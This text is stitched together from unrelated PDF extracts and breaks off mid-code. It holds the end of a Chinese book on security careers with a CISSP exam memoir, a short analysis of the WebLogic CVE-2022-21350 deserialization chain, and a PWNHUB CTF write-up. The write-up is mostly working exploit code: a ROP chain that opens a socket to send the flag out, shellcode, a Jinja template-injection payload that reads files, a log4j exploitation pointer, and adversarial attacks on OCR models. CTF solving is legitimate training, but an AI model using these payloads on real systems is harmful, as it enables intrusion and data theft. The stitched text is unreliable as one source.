复性的。这类工作是无法完全避免的,哪怕是高阶的管理者,每天也在做一些dirty work,比如流程审 批,只是比重不同而已,因此做这类工作的目的是为了未来不再做。关键是在做dirty work中以结果和业 绩展示自己的实力,让上级管理者认为把你放在dirty work上纯属浪费,自然而然就逐步减少dirty work 了。最完美的状态就是每时每刻都能学到新的知识,按照“10 000小时”定律努力下去,就有可能成为某行 业的顶尖人才。 ·在某些技术领域成为专家。很少看到高职级安全人员属于一点技术背景都没有的。大多数情况是, 先成为某些技术领域的资深专家,然后自身又有一定兴趣,付出时间精力进行管理实践,两者结合,迈 向了长远目标。成为某些领域技术专家是职业生涯金字塔的塔基部分,塔基不牢甚至没有就只会使金字 塔成为空中楼阁。 ·安全人员薪资比同级别研发和运维要高一些,但IT部门总经理、CTO等大多来自运维和研发,鲜有 从安全部门晋升而来。因为安全不是必需品,价值判定因人而异,因此选择安全从业时考虑清楚。 ·除了少数岗位性质决定以外,甲方从业人员面临的问题,都不是技术问题,或者说单纯依靠技术解 决不了,大部分岗位比拼的也都不仅是技术,而是解决一个一个小问题、从而最终搞定事情、将工作往 前推进的综合能力。黑猫白猫,搞定问题,取得绩效就是好猫。 ·适当积累各类资源。资源并不等同于人脉,资源是能够用于解决问题的各类有利条件的统称。人脉 是你的资源,你掌握的非安全知识也是资源,你的兴趣爱好也是资源,你所在城市也是资源。积累各类 资源,有助于解决问题,避免对单一解决方案的依赖,以及在单一解决方案行不通时各类资源提供其他 可能性。就像你高考成绩太差,无法通过大学改变自己命运,但你会做葱油饼,或者球踢得很好一样, 都可以帮你实现同样目标。当然现实一点的资源,基本上都是人脉资源,你在企业内部,帮助更多的 人,获得更多的人的认可和帮助,本质上也是积累自己的人脉资源,这样会让自己以及自己所在安全团 队之路越走越宽。资源是价值创造的倍增器。 24.4 安全从业注意事项 1.守住底线 以前知乎上有人问黑客入门第一本书是什么,高票答案是《刑法》。对于安全从业人员来说,守住 底线始终是从业第一原则。甲方、乙方,各自都有各自的底线,不做黑灰产是技术人员底线,不违背原 则、不做恶意竞争的销售是乙方人员的底线。作为甲方从业人员,笔者的底线是:不做混吃等死的小白 兔,达成公司对安全团队的安全诉求,实现安全团队成员每个人价值提升。 2.面临选择时的思考原则 职业生涯其实就是从面临各种选择中开始的,面临选择时的一些思考原则供参考: ·选择难走的那条路。这条难走的路将助你淘汰掉很多竞争者,让你走向不可替代者的未来。 ·工作的同时,成就别人。工作中会遇到很多需要“帮”一把的人,各层次的人都有,笔者认为,尽可 能在力所能及的范围内帮助别人,成就别人,也是在成就自己。所以,不要轻易说不,努力想办法帮助 能力范围内的每个人和每个需求,同时你也会获得很多人的帮助。 ·多下日拱一卒的笨功夫,少学奇技淫巧的小聪明。职业生涯初期,可能靠奇技淫巧的时候多一些, 会获得一些青睐,但越往后,越需要的是日拱一卒的笨功夫。 ·格局和靠谱。面临选择时要看长远,而不是短期利益优先。比如职业生涯早中期选择一份工作,工 作量、离家近、薪资等基本都属于考虑的后选项,优先选项应该是大平台、工作内容是否有利于经常性 学习等。靠谱是指要让自己成为和你接触、连接、共事的伙伴们对你的标签,他们愿意再回头和你合 作,而不是一次之后再也不回头。 3.如何应对迷茫 怎么应对迷茫?迷茫不要成为自己虚度光阴的借口,无论何时,不要放弃学习,放弃让自己增值。 不能盲目地虚度青春。哪怕是做最基础的事务性工作,也要做得比别人更快更好更漂亮。把握几点: ·任何时候,都遵从结果导向。首要是解决问题,其次才是漂亮得解决问题。 ·对抗不稳定的能力决定了你的价值,专业的程度决定了你的价值高低,有了价值就会少些迷茫甚至 不迷茫,价值增加靠的是学习,每一件工作、每一天都是学习的机会,学习没有捷径。 ·要有危机感,不要有太多优越感,每年给自己目标和压力,学会让自己简单,找一个好的另一半。 4.不忘初心 职业生涯发展和工作,最终的目的还是让我们生活得更好,而不是相反。 很多安全从业人员,可能在路上太久,忘记了自己的初心是什么。为了超常规发展晋升,追求财务 收益,往往忽视甚至丢弃了很多更宝贵的东西,比如健康、家庭、品德乃至做人的底线和原则。套用流 传很广的一段话:选择安全作为工作方向,考虑职业生涯和发展,通过努力使自己将来拥有选择的权 利,选择有意义、有时间的工作,而不是被迫谋生。 最好的状态是:未来之于我不再是恐惧,而是充满挑战的征途,因为心中有了明确的目标和努力的 方向,让我的内心变得亮堂,我知道成功是可期的,而不再是如中彩票般的小概率事件。 24.5 小结 选择安全作为工作方向,通过努力使自己将来拥有选择的权利,而不是被迫谋生。当你从事的安全 工作方向在你心中有意义,你就有成就感,当你的工作给你时间,不剥夺你的生活,你就有尊严。成就 感和尊严,给你快乐。 附录 附录A 我的CISSP之路 附录B 企业安全技能树 附录A 我的CISSP之路 ——聂君 本文写于2012年,是通过CISSP认证考试后的总结。一直以来觉得做安全的谈认证考试,挺难为情, 你看那些大拿,毕业证都不要,还要啥证书?金融企业安全建设群(文末有入群方式)近期谈到这个话 题的时候很踊跃,企业安全建设中信息安全认证必不可少,毕竟金融企业安全建设并不要求团队成员在 某个领域非常高精尖,而要求主要方面都平衡,以及在至少一个领域有自己的专长,通过认证的系统性 学习和考试检验,能迫使自己总结提高。现在越来越多的企业将上述证书作为安全职位上岗证+KPI考 核,艺多不压身,有兴趣的朋友尝试一下。开始行动往往就等同于成功。 CISSP和CISA是我接触比较早的两个认证,某天有个四大的人递过来一张名片,上面写着CISSP、 CISA,我想这两个认证可能比较值钱他才会印在自己名字上吧。后来去网上搜了一下,确实在安全界这 两个认证还是得到很多人的认可的,也比较火。我想原因有两个:一是这不同于IT厂商推出的认证,没 有题库,也不仅仅是讲自己的安全产品的使用,而确实涉及安全的方方面面知识,对于刚进入安全圈子 的人来说,开阔知识面,增加阅历是很有帮助的。二是安全理念。我觉得安全是没有标准答案的一门学 问,在安全领域,永远没有人可以告诉你做到哪些你们企业就安全了,可以高枕无忧了;恰恰相反,安 全是一个持续的过程。安全需要你不断地更新你的知识库,并且你不能仅仅从你的角度出发考虑问题, 也不能仅仅从技术角度出发解决问题,安全更多时候面临的是复杂环境,如何做好动态平衡是需要安全 从业人员认真学习的一门艺术。从这个角度出发,我觉得老外的这些安全认证给我们很多启发。这些考 试普遍需要从多个岗位、多个角度上看问题(安全不是一个人说了算的事情,与每一个人的参与有 关),尤其是对风险的管控和对业务的保障,这是不少考试出题的重要视角。 中间过了很多年,我考了很多IT厂商认证,觉得都含金量不足,后来看到了CISSP、CISA、CCIE、 CEH,然后开始打怪通关。2011年第一次报CISSP考试,12月在北京考试,最终成绩出来没有考过。没考 过是在自己意料中的,没有花什么时间看书,只是在临考前突击了2天,而且CISSP对英语要求比较高, 考试的时候发现很多关键的单词自己都需要查字典,导致自己做题速度很慢,后面基本上遇到不熟悉的 单词也不查了。虽然没过,但因为考试在北京,自己在酒店专注复习看书,不用上班,感觉也是挺爽 的。不过后来在团队面前宣布我的考试成绩时,脸还是有点挂不住,觉得很没面子,同时暗下决心, 2012一定要再考一次。 2012春节一过,因为有点其他事情耽误了,我从4月份开始看书,我记得第一次坐在电脑前看英文版 的《All in one》的时候,我给自己建了一个TXT文本文档,标题就是“聂君的CISSP之路”,里面记载了我 每次看CISSP的进度,以及看到有价值的知识点和不认识的重要单词。开始,我看的是英文版,因为我在 论坛里看了很多人发的帖子建议大家看英文版,后来我发现其实这个建议不适合所有人,比如我。看英 文版适合英文很好的人,这样看起来非常有效率,而且不需要经过英文-中文-英文的转换,但这不适合英 文不好的同学。我个人的经验是快速看中文版(别跟我说你中文看起来也很慢),每章后面都有一个总 结,对全章的知识点进行提炼,这个总结一定要仔细认真看,是全章的精华部分,看完一章之后做后面 的习题,看看自己得分到多少,我基本上都低于70%的正确率,很正常。之后,你开始看对应的英文版, 因为中文版是翻译英文版的,看英文版的时候把中文版放在旁边,有不认识的英文长句和英文单词,直 接看中文版,比查字典还快。而且《All in one》很啰嗦,没必要逐字逐句看,每章中文都有一些黑体, 你只要理解这些关键段落和关键词的意思及原理就行了,快速突进,一章英文很快就干掉。我自己的实 战经历是把所有中文看完,做后面习题。然后看每章英文,看一章做一次Total Seminars的章节练习题, 这时候基本都能达到80%的准确率了。最后,考前复习的时候我做了2套模拟题,看了孟紘给我的CISSP 单词表。 我报考的是2012.5.19上海考试,考点在浦东新区的交大信息安全学院。位置很偏僻,偌大的城市, 路上看不到什么人,连打车都打不到。考前两天我在复习的时候,基本上看1小时书休息5分钟,效率非 常高,心无旁骛。其实我在考前2天的时候基本上中文也就刚看完,英文还没开始,心里特别没底。但我 在2天内看完英文后,心里就有底了,过了1个多月,成绩出来,顺利通过,当时我高兴得跳起来了。 整个过程其实平时我没花多少时间,可能也就是二三十个小时吧,真正有效率的是考前2天的专心复 习,有点类似于大学里考试前的突击,效果特别好。有几点供参考: ·CISSP考试是注重体系的,要以美国的价值观、安全观对待,明白了CISSP出题者的套路,才能选对 所谓的最合适的那个答案。 ·考试6小时,250道题,对体力绝对是个考验,所以建议考前最后一天12点一定要睡觉,否则撑不 住,而且休息不好对大脑思维很不利,我第一次考试就是太晚睡,结果到最后头晕眼花,快没力气看题 了。第二次早点睡,效果好多了。 ·英文一定要看,但如何看,取决于你的时间和你的英文水平,英文不同级别能力的人都有办法在短 时间内过,但方法很重要。 ·没有真题,我考了两次,似乎没有一道题是相同的。我们应该感到庆幸,没有题库的认证能够保证 认证质量,也不会让我们辛辛苦苦考过的认证直接扔进垃圾堆了。 ·考试过了,没有考试成绩。考试没过的话,会有一封邮件告诉你十个CBK中你的成绩先后顺序,针 对性地看你成绩最差的CBK吧,我的好像比较差的是物理和环境安全、法律、法规、遵从和调查、业务 连贯性和灾难恢复,成绩确实能反映我的工作经历。 ·考试过了,不代表迎来人生巅峰,人还是那个人。但考试通过能起码让自己感觉不坏,而且通过考 试前的学习,对自己的专业知识也做个梳理归纳总结,还可以学到诸如直接证据、间接证据、决定性证 据等知识,肖恩·哈里斯的书中也有很多搞笑的段子,谈起来也非常不错。 J0ker将自己求学CISSP的亲身经历整理成系列文章《怎样成为一名CISSP》,有兴趣可以看看。 顺便说下我的CISA,基本上只看了同事给的一本PPT打印版材料,其他一概没看,考前也没复习。 推迟了两次才最终决定去考的,因为再也不能推迟了,结果过了。 开始行动往往就等同于成功。 附录B 企业安全技能树 图B-1 企业安全技能树(上) 图B-1 企业安全技能树(下)
pdf
Oracle WebLogic CVE-2022-21350 漏洞分析 漏洞简述 这是⼀个反序列化漏洞,是⼀条新的gadget,在低版本的JDK中可能会造成RCE⻛险。 漏洞分析 测试环境weblogic14c版本,测试JDK 1.8版本。 ⾸先会调⽤BadAttributeValueExpException.readObject⽅法 接着会调⽤SessionData.toString⽅法 接着会调⽤SessionData.isDebuggingSession⽅法 接着会调⽤SessionData.getAttribute⽅法 接着会调⽤SessionData.getAttributeInternal⽅法 接着会调⽤AttributeWrapperUtils.unwrapObject⽅法 接着会调⽤AttributeWrapperUtils.unwrapEJBObjects⽅法 接着会调⽤BusinessHandleImpl.getBusinessObject⽅法 接着会调⽤HomeHandleImpl.getEJBHome⽅法 可以看到这⾥调⽤了ctx.lookup⽅法 修复建议 及时更新补丁,参考oracle官⽹发布的补丁: https://www.oracle.com/security-alerts/cpujan2022.html
pdf
PWNHUB CTF WriteUp By Nu1L PWNHUB CTF WriteUp By Nu1L Pwn ezrop Reverse brain letsgo Crypto rootRSA ezRSA ezmat Web EzPDFParser264 easyCMS baby_flask Misc 眼神得好 被偷的flag Game 是兄弟就来砍我 初⼊⻔径 擂台决⽃ Other 签到 MEDIUMBLACKOCR WORDS_CHECK Ppc BABY LINE HILBERT Pwn ezrop close(1) close(2) close(3) 发现有⼀条gadget是add dword ptr [ebp-0x3d], ebx 可以⽤来任意地址写,⽽且是偏移。造个socket和connect出来重新打开fd后⾯就好做了。 from pwn import * s = process("./easyrop") # s = remote("47.97.127.1","23855") p = listen(9999) elf = ELF("./easyrop") # libc = ELF("./libc-2.27.so") libc = ELF("./libc-2.31.so") bss = elf.bss(0x500) add_rbp_3d = 0x0000000000400618 pop_rbx_rbp_4 = 0x4008FA pop_rdi = 0x0000000000400903 pop_rsi_r15 = 0x0000000000400901 pop_rsp_3 = 0x00000000004008fd pop_rbp = 0x00000000004005b8 leave_ret = 0x0000000000400821 pts = "/dev/pts/3" csu_func = 0x4008E0 def setReg(rbx,rbp,rdi,rsi,rdx,func):    return p64(rbx)+p64(rbp)+p64((func- rbx*8)&0xffffffffffffffff)+p64(rdi)+p64(rsi)+p64(rdx) #make syscall,alarm -> syscall # gdb.attach(s,"b *0x400904\nc") payload = 'A'*8+p64(1)+p64(pop_rbx_rbp_4)+p64(0x0f270002)+p64(bss+0x3d)+p64(0)*4+p64(add_rbp_3d) payload += p64(pop_rbx_rbp_4)+p64(0xbf376627)+p64(bss+4+0x3d)+p64(0)*4+p64(add_rbp_3d) # payload += p64(pop_rbx_rbp_4)+p64(0x0100007f)+p64(bss+4+0x3d)+p64(0)*4+p64(add_rbp_3d) payload += p64(pop_rbx_rbp_4)+p64(libc.sym['socket']- libc.sym['alarm'])+p64(elf.got['alarm']+0x3d) payload += setReg(libc.sym['socket']-libc.sym['alarm'],1,2,1,0,elf.got['alarm'])[2*8:] payload += p64(add_rbp_3d)+p64(pop_rbp)+p64(libc.sym['socket']-libc.sym['alarm']+1) payload += p64(csu_func) payload += 'A'*8+setReg(libc.sym['connect']- libc.sym['close'],elf.got['close']+0x3d,0,bss,16,elf.got['close']) payload += p64(add_rbp_3d)+p64(pop_rbp)+p64(libc.sym['connect']-libc.sym['close']+1) payload += p64(csu_func) payload += 'A'*8+setReg(0,1,0,bss,0x300,elf.got['read'])+p64(csu_func) payload += 'A'*8+setReg(0,bss-8,0,0,0,0)+p64(leave_ret) s.send(payload) success(hex(len(payload))) raw_input(">") context.arch='amd64' Reverse brain 3字节遍历爆破2字节数据即可 FRIDA 脚本如下 payload = p64(pop_rbx_rbp_4)+p64((libc.sym['mprotect']- libc.sym['socket'])&0xffffffffffffffff)+p64(elf.got['alarm']+0x3d)+p64(0)*4+p64(add_rbp _3d) payload += p64(pop_rbx_rbp_4)+setReg(0,1,bss&0xfffffffffffff000,0x1000,7,elf.got['alarm'])+p64(csu _func)+'A'*56+p64(bss+0x100) payload = payload.ljust(0x100,'\x90') shellcode = '' shellcode += shellcraft.open("flag",0) shellcode += shellcraft.read(1,bss+0x300,0x100) shellcode += shellcraft.write(0,bss+0x300,0x100) payload += asm(shellcode) p.send(payload) flag = p.recv() success("flag:"+flag) s.interactive() var t = '{abcdefgl-0123456789}'; var arr1 = new ArrayBuffer(42); var arr = new Int8Array(arr1); for(var j = 0; j < 42; j++) {    arr[j] = 50; } var fff = 0; var target = [135, 107, 134, 252, 139, 43, 114, 55, 255, 63, 7, 163, 185, 28, 55, 191, 55, 28, 163, 219, 210, 16, 28, 185, 65, 5, 157, 208, 73, 167, 207, 107, 65, 213, 114, 97, 133, 195, 151, 3, 77, 1]; for (var i = 0; i < 42; i += 2) {    for(var ch_w = 0; ch_w < t.length; ch_w++) {        for(var ch_j =  0; ch_j < t.length; ch_j ++) {            for (var ch_i = 0; ch_i < t.length; ch_i++) {                var br = Memory.allocAnsiString('+++++<<++++<[[[.->-<[].>.-.>.--.-[.- [[.>.-+[.<].-<.-[.-[[.].+++++++.-.-[[.[.-<.-[.-.]--.[.-')                var vec = ptr(0x8EE1FCFC60);                var data = vec.readPointer();                arr[i] = t.charCodeAt(ch_w);                arr[i + 1] = t.charCodeAt(ch_j);                arr[i + 2] = t.charCodeAt(ch_i);                data.writeByteArray(arr1); letsgo 简单的go语⾔逆向 Crypto                var enc = new NativeFunction(ptr(0x7FF61E101F60), 'void', ['pointer', 'int', 'pointer'], "win64");                enc(br, 0x5b, vec);                var data = vec.readPointer();                var res = data.readByteArray(42);                //console.log(hexdump(res, { length: 42, ansi: true }));                var res2 = new Uint8Array(res)                if (res2[i] == target[i] && res2[i + 1] == target[i + 1]) {                    console.log(arr1);                    //console.log(t.charAt(ch_j));                    fff = 1;                    break;               }           }            if (fff == 1) {                break;           }       }        if (fff == 1) {            fff = 0;            break;       }   } } import binascii a = '070A14551C51575C1002024F51180304054D1A19514E5301090D43004F525A5C4002014B52034C1B5250' d = binascii.a2b_hex(a) s = b'' for i in range(14):   K = bytearray(d[i * 3: (i + 1) * 3])   K[2] = K[2] ^ K[1]   K[1] = K[0] ^ K[2] ^ K[1]   K[0] = K[2] ^ K[0]   s += bytearray(K) print(binascii.b2a_hex(s)) for i in range(len(s)):   s[i] = 127 - s[i] print(s) Crypto rootRSA from pwn import * import string import base64 import math from libnum import * import gmpy2 import os import json # import random from libnum import xgcd, solve_crt from tqdm import tqdm from hashlib import sha256, md5, sha1 from Crypto.Hash import SHA256 from Crypto.PublicKey import DSA from Crypto.Cipher import AES, DES from itertools import product from sage.all import * from Crypto.Util.number import * import randcrack import random from sm4 import SM4Key # # r = remote('hiyoko.quals.seccon.jp', '10042') # # # context(log_level='debug') # ALPHABET = string.ascii_letters + string.digits # rec = r.recvline().decode().replace(' ', '') # print(rec) # rec = rec[rec.find('+')+1::] # suffix = rec[rec.find('+')+1:rec.find(')')] # digest = rec[rec.find('==')+2:-1] # print(f"suffix: {suffix} \ndigest: {digest}") # for i in product(ALPHABET, repeat=5): #     prefix = ''.join(i) #     guess = prefix + suffix #     if md5(guess.encode()).hexdigest()[0:5] == digest: #         log.info(f"Find XXXX: {prefix}") #         break # r.sendline(prefix.encode()) # r.interactive() # r.recvline() ezRSA n的⽣成有bias,q⽐较⼩,将椭圆曲线⽅程写出来,然后我们还知道⼀个在椭圆曲线上的点$(x_0, y_0)$,带⼊, 转化到$Zmod(p)$上得到:$$(2x_0+1)q+2x_0^3-2y_0^2-1=0\,mod\,p$$coppersmith即可求出q,那么直接试试在 $Zmod(q)$上求解。 n = 125506650243789307604147511347903608130459512569980705247333805163208638928205889594462 47471740157454369275132333022529896652239978885827346520768307232891 e = 16 c = 763948541935065669070177590784664764389876210884755820620803919845599976738581612129194 042330620496257282174257848945066377803831435064827047454497131887 print(long_to_bytes(pow(c,((n+1)//4)**4,n))) import requests import json import os import gmpy2 from pwnlib.tubes.tube import * from hashlib import * from Crypto.Util.number import * from tqdm import tqdm, trange import random import math from Crypto.Hash import SHA256 from Crypto.Cipher import AES from factordb.factordb import FactorDB from sage.modules.free_module_integer import IntegerLattice import itertools from fastecdsa.curve import Curve from random import getrandbits, shuffle # r = remote('node4.buuoj.cn', '25965') # context(log_level='debug') # ALPHABET = string.ascii_letters + string.digits # rec = r.recvline().decode() # print(rec) # suffix = rec[rec.find('+')+1:rec.find(')')] # digest = rec[rec.find('==')+3:-1] # print(f"suffix: {suffix} \ndigest: {digest}") # for i in itertools.product(ALPHABET, repeat=3): #     prefix = ''.join(i) #     guess = prefix + suffix #     if sha256(guess.encode()).hexdigest() == digest: #         # log.info(f"Find XXXX: {prefix}") #         print((f"Find XXXX: {prefix}")) ezmat 题⽬分为两层,第⼀层是之前zer0pts⻅过的 hidden subset sum problem ,直接⽤⽹上的exp,改动参数即可 恢复,第⼆层是求矩阵的乘法阶,求e的逆即可恢复 #         break # r.sendline(prefix.encode()) x0, y0 = (33855508022063708196162910820151508863164891082792716072814366530685684089128303733967 784966186122790390893314547726404644698615057765863479820103650206080577459965820766911 168843999611069220100803784911960596237831645720199847504662051596372578642344049499392 228194239622762653202200557934047662708626000057652477286212136433984972668786587461947 251365414205449022148975414435848309333135826377108058466287268010607678726195770470705 5652825959314984924849600101, 936859805496385391559236776246883920797971062581544240268575675825570737296851006237870 839271568976317212531276234406232945021531066674291887782791534409966305833225084692612 867437424551505174720475931132798839349207246806850341280754752239303350596733681932273 450149927797735966407187594725231158980098119489003450563623494155562513634618466910170 109518754662675054081897025489520391417883488720972781393802142478712026232107041683271 177224983497203599032383279) n = 988000511804778695813521569460767024014375863209856154754147082419975777208656083311740 358048468580712106204105426217752071608551112269505247365548210006567296850568411531004 204795967810292432041395592133501302461324005142940183488044983348152371980166614840414 803124031222965874472013554869981954785271467321919039144942853506143787908194930700818 770224752026306092706366253640515130802157497666497193713819097381223915943111321812676 982912146706199692543488639 PR.<x> = PolynomialRing(Zmod(n)) f = (2*x0+1)*x + 2*x0^3 - 2*y0^2 - 1 f = f.monic() q = int(f.small_roots(X=2**512, beta=0.2, epsilon=5/32)[0]) p = n // q E = EllipticCurve(Zmod(n), [p+q, p^2+(q-1)//2]) Eq = E.change_ring(GF(q)) d = inverse(0x10001, Eq.order()) m_point = Eq((x0, y0)) * d m = int(m_point.xy()[0]) print(long_to_bytes(m)) # from pwn import * import requests import json import os import gmpy2 from pwnlib.tubes.tube import * from hashlib import * from Crypto.Util.number import * from tqdm import tqdm, trange import random import math from Crypto.Hash import SHA256 from Crypto.Cipher import AES from factordb.factordb import FactorDB from sage.modules.free_module_integer import IntegerLattice import itertools from fastecdsa.curve import Curve from random import getrandbits, shuffle # r = remote('node4.buuoj.cn', '25965') # context(log_level='debug') # ALPHABET = string.ascii_letters + string.digits # rec = r.recvline().decode() # print(rec) # suffix = rec[rec.find('+')+1:rec.find(')')] # digest = rec[rec.find('==')+3:-1] # print(f"suffix: {suffix} \ndigest: {digest}") # for i in itertools.product(ALPHABET, repeat=3): #     prefix = ''.join(i) #     guess = prefix + suffix #     if sha256(guess.encode()).hexdigest() == digest: #         # log.info(f"Find XXXX: {prefix}") #         print((f"Find XXXX: {prefix}")) #         break # r.sendline(prefix.encode()) from output import p, w, MM # part 2 MM = Matrix(Zmod(2), MM) ord = MM.multiplicative_order() d = inverse(0x10001, ord) M = MM ^ d for vec in M:    flag = long_to_bytes(int(''.join(map(str, vec[:167])), 2))    if b'}' in flag:        print(flag) # part 1 # from https://github.com/pcw109550/write-up/blob/master/2022/zer0pts/Karen/solve.sage n = 60 m = 330 def allpmones(v):    return len([vj for vj in v if vj in [-1, 0, 1]]) == len(v) # We generate the lattice of vectors orthogonal to b modulo x0 def orthoLattice(b, x0):    m = b.length()    M = Matrix(ZZ, m, m)    for i in range(1, m):        M[i, i] = 1    M[1:m, 0] = -b[1:m] * inverse_mod(b[0], x0)    M[0, 0] = x0    for i in range(1, m):        M[i, 0] = mod(M[i, 0], x0)    return M def allones(v):    if len([vj for vj in v if vj in [0, 1]]) == len(v):        return v    if len([vj for vj in v if vj in [0, -1]]) == len(v):        return -v    return None def recoverBinary(M5):    lv = [allones(vi) for vi in M5 if allones(vi)]    n = M5.nrows()    for v in lv:        for i in range(n):            nv = allones(M5[i] - v)            if nv and nv not in lv:                lv.append(nv)            nv = allones(M5[i] + v)            if nv and nv not in lv:                lv.append(nv)    return Matrix(lv) def kernelLLL(M):    n = M.nrows()    m = M.ncols()    if m < 2 * n:        return M.right_kernel().matrix()    K = 2 ^ (m // 2) * M.height()    MB = Matrix(ZZ, m + n, m)    MB[:n] = K * M    MB[n:] = identity_matrix(m)    MB2 = MB.T.LLL().T    assert MB2[:n, : m - n] == 0    Ke = MB2[n:, : m - n].T    return Ke def attack(m, n, p, h):    # This is the Nguyen-Stern attack, based on BKZ in the second step    iota = 0.035    nx0 = int(2 * iota * n ^ 2 + n * log(n, 2))    print("nx0 =", nx0)    x0 = p    b = vector(h)    # only information we get    M = orthoLattice(b, x0)    t = cputime()    M2 = M.LLL()    print("LLL step1: %.1f" % cputime(t))    # assert sum([vi == 0 and 1 or 0 for vi in M2 * X]) == m - n    MOrtho = M2[: m - n]    print(" log(Height, 2) = ", int(log(MOrtho.height(), 2)))    t2 = cputime()    ke = kernelLLL(MOrtho)    print(" Kernel: %.1f" % cputime(t2))    print(" Total step1: %.1f" % cputime(t))    if n > 170:        return    beta = 2    tbk = cputime()    while beta < n:        if beta == 2:            M5 = ke.LLL()        else: Web EzPDFParser264 下载源码看了⼀下,发现是log4j2,github发现⼀个项⽬,然后跟着复现就⾏了: https://github.com/eelyvy/log4jshell-pdf easyCMS            M5 = M5.BKZ(block_size=beta)        # we break when we only get vectors with {-1,0,1} components        if len([True for v in M5 if allpmones(v)]) == n:            break        if beta == 2:            beta = 10        else:            beta += 10    print("BKZ beta=%d: %.1f" % (beta, cputime(tbk)))    t2 = cputime()    MB = recoverBinary(M5)    print(" Recovery: %.1f" % cputime(t2))    print(" Number of recovered vector = ", MB.nrows())    print(" Number of recovered vector.T = ", MB.ncols())    for vec in MB:        flag = long_to_bytes(int(''.join(map(str, vec[:167])), 2))        if b'flag{' in flag:            print(flag) attack(m, n, p, w) 发现存在mysql任意连接,于是直接读⽂件,然后发现testtool可以写⽂件: 然后跨⽬录⽂件包含即可shell baby_flask Misc 眼神得好 ⾸先拿到⼀张图,扔进stegsolve⾥,调stereogram solver, offset=15 的时候发现flag,就是眼神得好。。 import requests host = "47.97.127.1:21110" for i in range(401):   requests.get(f"http://{host}/create") files = {"edit.html":("edit.html",'''{{().__class__.__bases__[0].__subclasses__() [177].__init__.__globals__.__builtins__['open']('/var/tmp/flag').read()}}''')} requests.post(f"http://{host}/edit/0",files=files) r = requests.get(f"http://{host}/show/0") print(r.text) 被偷的flag png使⽤stegsolve可以看到⼆维码,扫出 1e:))} png末尾追加zip,解开拿到加密压缩包和字典,爆破得到密码 flag{32145( 解压得到⼀个txt和pyc,pyc隐写Stegosaurus提取出 VqtS-HZ&* ,使⽤basecrack发现为base85编码的 base64( txt包含flag格式,零宽字符隐写提取出 Unc 32145 -> 32 14 5 -> md5 (Polybius) 合并起来得到 flag{md5(base64(Unc1e:))} 按要求运算得到flag Game 是兄弟就来砍我 注册账号,进游戏,聊天区就有flag。 初⼊⻔径 先去每⽇领奖那个⼈那⾥领绑定元宝,领完去抽奖员那抽奖,抽奖能有概率获得元宝,抽够1000元宝去买1000元 宝的召唤书,召唤boss,打死掉flag。 擂台决⽃ 构造 cklogin.php 接⼝的 flag 参数实现任意账户登录,登录GM账号即可。 Other 签到 $username = $argv[1]; $time = $argv[2]; echo md5($username.urlencode($username).$time."jwjeDljl- sdlj213988WED^W9kjasdjlkoie2130942323"); 在关于⻚⾯的视频中有个⼆维码,扫⼀下会出跳转的url,url最后的base64⼀下就是flag。 MEDIUMBLACKOCR ⿊盒对抗样本,可以采⽤boundry attack (https://arxiv.org/pdf/1712.04248.pdf)的思想攻击。 由于L2限制较松且攻击容易,构造 $ adv = (origin+target)/2 $即可。 from PIL import Image, ImageDraw, ImageFont import numpy as np from base64 import b64encode, b64decode import requests import IPython import io FONT_SIZE = 30 TEXT_LENGTH = 10 FIG_SHAPE = (FONT_SIZE * TEXT_LENGTH // 2 + 20, FONT_SIZE + 8) BASE_URL = 'http://47.97.127.1:23167/' START_URL = BASE_URL + 'start' PREDICT_URL = BASE_URL + 'predict' FLAG_URL = BASE_URL + 'get_flag' s = requests.Session() def array2b64(np_array):    buffer = np_array.tobytes()    return b64encode(buffer) def b642array(bb64_buffer):    try:        x = np.frombuffer(b64decode(bb64_buffer), dtype=np.float32)        return x    except Exception as e:        print(e)        print("No Hack ! BAD BUFFER")        return False def generate_fig(text_raw, font_size=FONT_SIZE):    s = io.BytesIO()    im = Image.new("L", FIG_SHAPE, 255)    dr = ImageDraw.Draw(im)    font = ImageFont.truetype("ubuntu.ttf", font_size)    dr.text((0, 0), text_raw, font=font, fill="#000000")    im.save(s, 'png')    return Image.open(s) for _ in range(100):    q = s.get(START_URL).text    tmp = q.split('`')    ori = tmp[1]    target = tmp[3]    print(ori, target)    benign = np.array(generate_fig(ori), dtype=np.float32) / 255    target = np.array(generate_fig(target), dtype=np.float32) / 255    diff = (target - benign)/2    attack = benign + diff    # print(_predict(benign))    print(s.post(FLAG_URL, data={"b64_image": array2b64(attack)}).text) # l2 = np.mean(np.linalg.norm(diff.reshape(diff.shape[0], -1), ord=2, axis=1)) # IPython.embed() WORDS_CHECK 随便找个中⽂ocr的模型即可。 import os import sys import sys import requests import base64 from io import BytesIO from PIL import Image from cnocr import CnOcr import IPython host, port = "47.97.127.1", 20599 base_url = f'http://{host}:{port}' token_url = f'{base_url}/getToken' words_url = f'{base_url}/getViolWords' pic_url = f'{base_url}/getPic' submit_url = f'{base_url}/submits' flag_url = f'{base_url}/getFlag' def getToken():    res = requests.get(token_url).json()    assert not res['errCode'], 'get token error'    return res['data']['token'] def getViolWords():    res = requests.get(words_url).json()    assert not res['errCode'], 'get words error'    return res['data']['violWords'] def getPic():    res = requests.post(pic_url, json={'token':token}).json()    assert not res['errCode'], 'get pic error'    print(res['data']['words'].keys())    im = base64.b64decode(res['data']['words']['w1'])    with open('test.jpg', 'wb') as f:        f.write(im) def submit(result):    res = requests.post(submit_url, json={'token':token, 'answer':result}).json()    assert not res['errCode'], 'submit error'    print(res['data']) def getFlag():    res = requests.post(flag_url, json={'token':token}).json()    assert not res['errCode'], 'get flag error'    print(res['data']) Ppc BABY LINE HILBERT token = getToken() print(token) words = getViolWords() for _ in range(50):    getPic()    ocr = CnOcr()        res = ''.join(ocr.ocr_for_single_line('test.jpg')[0])    print(res)    for word in words:        if word in res:            submit(False)            break    else:        submit(True) IPython.embed() r = int(input()) for _ in range(r):    m, n, k = map(int, input().split())    mat = []    for i in range(m):        mat.append((list(map(int, input().split())).count(1),i))    mat.sort()    ans = [mat[i][1] for i in range(k)]    print(' '.join(map(str,ans))) import sys def hilbert_to_d(n, x, y):    d = 0    s = n // 2    while s > 0:        rx = (x & s) > 0        ry = (y & s) > 0        d += s * s * ((3 * rx) ^ ry)        x, y = rotate(n, x, y, rx, ry)        s //= 2    return d def d_to_hilbert(n, d):    x, y = 0, 0    t = d    s = 1    while s < n:        rx = 1 & (t // 2)        ry = 1 & (t ^ rx)        x, y = rotate(s, x, y, rx, ry)        x += s * rx        y += s * ry        t //= 4        s *= 2    return x, y def rotate(n, x, y, rx, ry):    if ry == 0:        if rx == 1:            x , y = n - 1 - x, n - 1 - y        x,y = y, x    return x, y data = sys.stdin.read().splitlines() for line in data:    